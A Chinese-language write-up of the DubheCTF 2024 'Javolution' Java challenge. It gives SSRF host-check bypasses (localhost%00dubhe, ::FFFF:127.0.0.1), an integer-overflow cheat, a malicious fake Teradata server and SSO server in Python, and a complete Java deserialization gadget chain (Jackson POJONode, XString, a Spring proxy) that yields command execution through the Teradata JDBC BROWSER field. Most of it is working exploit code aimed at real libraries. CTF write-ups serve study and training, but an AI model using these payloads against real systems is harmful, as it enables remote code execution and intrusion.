为你准备的现代 Java 挑战,绕过它并实现 RCE!
源码 https://github.com/H4cking2theGate/My-CTF-Challenges/tree/main/DubheCTF%202024/Javolution
bypass#
/pal/cheat 修改自己的 defense 为负数,让 opponentPower 溢出为负值,打败 jetragon
升到 50 级后,传入 localhost%00dubhe 绕过 host 检测
def levelup():
r = requests.get(url+"/pal/cheat?defense=-800000")
print(r.text)
r = requests.get(url+"/pal/battle/jetragon")
print(r.text)
def deser():
r = requests.post(url+"/pal/cheat?host=localhost%00dubhe", data={"data":mydata})
print(r.text)
这里看了 wp 后收集到的其他几种绕过
子域名解析到127.0.0.1
dubhe.localhost
::FFFF:127.0.0.1%dubhe
Teradata RCE#
参考blackhat,Teradata 中可以利用 browser 字段命令注入绕过 jdk17 的限制
com.teradata.jdbc.jdbc.GenericTeradataConnection#GenericTeradataConnection 作为本题的 sink 点,调用栈如下
exec:320, Runtime (java.lang)
<init>:249, GenericTeradataConnection (com.teradata.jdbc.jdbc)
<init>:180, TDSession (com.teradata.jdbc.jdbc_4)
createConnection:63, ConnectionFactory (com.teradata.jdbc.jdbc)
createConnection:53, ConnectionFactory (com.teradata.jdbc.jdbc)
createNewConnection:752, TeraDataSourceBase (com.teradata.jdbc)
getConnection:21, TeraDataSource (com.teradata.jdbc)
恶意 TeradataServer
import asyncore
import logging
import socket
import struct
class TeradataRequestHandler(asyncore.dispatcher_with_send):
def __init__(self, sock, addr, url):
asyncore.dispatcher_with_send.__init__(self, sock=sock)
self.addr = addr
self.packet_to_send = (bytes.fromhex('03020a0000070000')+
struct.pack(">H",len(url)+899)+
bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+
struct.pack(">H",len(url)+87)+
bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+
struct.pack(">H",len(url)+11)+
bytes.fromhex('000372636500')+
struct.pack("B",len(url))+
url.encode("ascii")+
bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a'))
self.ibuffer = []
def handle_read(self):
data = self.recv(8192)
if data:
logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
self.send(self.packet_to_send)
def handle_close(self):
logging.info('[+]Connection closed: {}'.format(self.addr))
self.close()
class TeradataServer(asyncore.dispatcher):
def __init__(self, host, port, url):
asyncore.dispatcher.__init__(self)
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind((host, port))
self.listen(5)
logging.info('[+]Listening on {}:{}'.format(host, port))
self.url = url
def handle_accept(self):
pair = self.accept()
if pair is not None:
sock, addr = pair
logging.info('[+]Incoming connection from {}'.format(repr(addr)))
handler = TeradataRequestHandler(sock, addr, self.url)
if __name__ == '__main__':
logging.basicConfig(level=logging.INFO)
server = TeradataServer('0.0.0.0', 10250, 'http://127.0.0.1:7777/')
asyncore.loop()
恶意 ssoserver
from flask import Flask
app = Flask(__name__)
@app.route("/")
@app.route("/.well-known/openid-configuration")
def index():
return "{\"authorization_endpoint\": \"1\", \"token_endpoint\": \"1\"}"
if __name__ == "__main__":
app.run('0.0.0.0',port=7777)
反序列化#
触发 toString
本题有 spring 依赖,可以用 jackson 触发 getter,同时 BadAttributeValueExpException 在 jdk17 中被改了,没法触发 toString,这里换 Xstring 即可。
收集的 wp 中还有利用 EventListenerList 触发 toString 的链子,参考
public static Object makeReadObjectToStringTrigger(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(obj);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}
稳定调用 getter
在 TeraDataSourceBase 中有些不符合命名规范的 getter/setter 会让 jackson 反序列化时报错 Conflicting getter definitions,这里可以用 JDK 动态代理来解决。
POJONode 在反序列化过程中调用的 getter 顺序不稳定,这是由于 getDeclaredMethods 获取的 Method 数组顺序是依据函数地址而不是函数名。参考 https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
在对 TeraDataSource 的反序列化过程中,props 属性中会出现 4 个函数,而其中 javax.sql.CommonDataSource#getParentLogger 这个函数在 TeraDataSource 的实现里面会抛出异常,如果 props 中的 getConnection 排在 getParentLogger 之前即可成功触发,排在后面会报错,并且不同平台下差异很大,windows 下大概率能触发,题目中给了一个 PalDataSource 来解决这里的问题。
完整 exp#
package org.example.teratest;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
public class JacksonTera
{
public static void main(String[] args) throws Exception
{
String command = "notepad";
PalDataSource dataSource = new PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
dataSource.setBROWSER_TIMEOUT("2");
dataSource.getConnection();
Object proxy = getProxy(dataSource, DataSource.class);
// Object exp = getBadAttr(proxy);
Object exp = getXstringMap(proxy);
base64Serialize(exp);
}
public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}
public static Object getBadAttr(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
return val;
}
public static Object getXstringMap(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);
XString xString = new XString("A.R.");
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);
return o;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static String base64Serialize(Object obj) throws Exception
{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}